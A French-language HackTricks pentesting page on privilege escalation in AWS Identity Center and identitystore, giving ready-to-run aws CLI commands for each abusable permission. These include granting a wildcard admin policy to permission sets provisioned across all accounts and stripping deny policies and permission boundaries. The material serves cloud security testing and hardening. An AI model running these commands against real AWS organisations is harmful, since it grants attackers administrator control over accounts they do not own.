# AWS - SSO & identitystore Privesc

{{#include ../../../banners/hacktricks-training.md}}

## AWS Identity Center / AWS SSO

Pour plus d'informations sur AWS Identity Center / AWS SSO, consultez :

{{#ref}}
../aws-services/aws-iam-enum.md
{{#endref}}

> [!WARNING]
> Notez qu'en **default**, seuls les **utilisateurs** ayant des permissions **du** **compte de gestion** pourront accéder et **contrôler l'IAM Identity Center**.\
> Les utilisateurs d'autres comptes ne peuvent le permettre que si le compte est un **Administrateur délégué.**\
> [Consultez la documentation pour plus d'infos.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)

### ~~Réinitialiser le mot de passe~~

Une façon simple d'escalader les privilèges dans des cas comme celui-ci serait d'avoir une permission qui permet de réinitialiser les mots de passe des utilisateurs. Malheureusement, il n'est possible d'envoyer qu'un email à l'utilisateur pour réinitialiser son mot de passe, donc vous auriez besoin d'accéder à l'email de l'utilisateur.

### `identitystore:CreateGroupMembership`

Avec cette permission, il est possible de placer un utilisateur dans un groupe afin qu'il hérite de toutes les permissions que le groupe possède.
```bash
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
```
### `sso:PutInlinePolicyToPermissionSet`, `sso:ProvisionPermissionSet`

Un attaquant avec cette permission pourrait accorder des permissions supplémentaires à un Permission Set qui est accordé à un utilisateur sous son contrôle.
```bash
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
```
### `sso:AttachManagedPolicyToPermissionSet`, `sso:ProvisionPermissionSet`

Un attaquant avec cette permission pourrait accorder des permissions supplémentaires à un Permission Set qui est accordé à un utilisateur sous son contrôle.
```bash
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
```
### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet`

Un attaquant avec cette permission pourrait accorder des permissions supplémentaires à un Permission Set qui est accordé à un utilisateur sous son contrôle.

> [!WARNING]
> Pour abuser de ces permissions dans ce cas, vous devez connaître le **nom d'une politique gérée par le client qui se trouve dans TOUS les comptes** qui vont être affectés.
```bash
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
```
### `sso:CreateAccountAssignment`

Un attaquant disposant de cette autorisation pourrait attribuer un ensemble de permissions à un utilisateur sous son contrôle pour un compte.
```bash
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
```
### `sso:GetRoleCredentials`

Renvoie les informations d'identification à court terme STS pour un nom de rôle donné qui est attribué à l'utilisateur.
```
aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
```
Cependant, vous avez besoin d'un jeton d'accès que je ne sais pas comment obtenir (TODO).

### `sso:DetachManagedPolicyFromPermissionSet`

Un attaquant ayant cette autorisation peut supprimer l'association entre une politique gérée par AWS et l'ensemble de permissions spécifié. Il est possible d'accorder plus de privilèges en **détachant une politique gérée (politique de refus)**.
```bash
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
```
### `sso:DetachCustomerManagedPolicyReferenceFromPermissionSet`

Un attaquant ayant cette permission peut supprimer l'association entre une politique gérée par le client et l'ensemble de permissions spécifié. Il est possible d'accorder plus de privilèges en **détachant une politique gérée (politique de refus)**.
```bash
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
```
### `sso:DeleteInlinePolicyFromPermissionSet`

Un attaquant avec cette permission peut supprimer les autorisations d'une politique intégrée du jeu de permissions. Il est possible d'accorder **plus de privilèges en détachant une politique intégrée (politique de refus)**.
```bash
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
```
### `sso:DeletePermissionBoundaryFromPermissionSet`

Un attaquant avec cette permission peut supprimer la Permission Boundary du jeu de permissions. Il est possible d'accorder **plus de privilèges en supprimant les restrictions sur le jeu de permissions** donné par la Permission Boundary.
```bash
aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
```
{{#include ../../../banners/hacktricks-training.md}}
